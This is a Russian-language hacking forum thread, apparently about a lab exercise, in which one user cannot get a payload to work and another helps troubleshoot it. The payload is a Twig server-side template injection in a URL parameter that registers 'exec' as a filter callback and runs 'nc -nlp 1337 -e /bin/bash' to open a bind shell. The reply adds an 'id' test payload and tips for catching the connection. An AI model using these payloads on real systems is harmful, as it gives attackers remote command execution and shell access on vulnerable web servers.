18.12.2016, 17:35
|
|
Новичок
Регистрация: 20.10.2016
Сообщений: 0
С нами:
5033900
Репутация:
0
|
|
ghostphisher сказал(а):
И совсем корявый вопрос =) http://127.0.0.1/dev/index.php?hname={{_self.env.registerUndefinedFilte rCallback("exeс")}}{{_self.env.getFilter("nc -e /bin/bash -nlp 1337")}}
Однако ....сырец выдает
”." class="error">Top of the most famous hackers - | GDS
Так как сработало у автора топика, у меня нет сомнений в моей ошибке, однако в чем. Порты проброшены, ресурс отвечает, защиту от xss отключил ( аддон по умолчанию в Моззиле). В чем проблема может быть? Браузер? неверная строчка? Упущена какая то мелочь?
ПС За Burp отдельный респект и уважени!
Попробуй сначала получить вывод команд id,pwd
Если и эти не отработают - знач где то косяк.
{{_self.env.registerUndefinedFilterCallback("exec" )}}{{_self.env.getFilter("id")}}
Что касается нетката - то после команды:
{{_self.env.registerUndefinedFilterCallback("exec" )}}{{_self.env.getFilter("nc -nlp 1337 -e /bin/bash")}}
Браузер должен крутить колесико загрузки страницы пока не будет подключение от машины ssh(172.16.0.8)
Ты же с 172.16.0.8 подключаешся неткатом?
|
|
|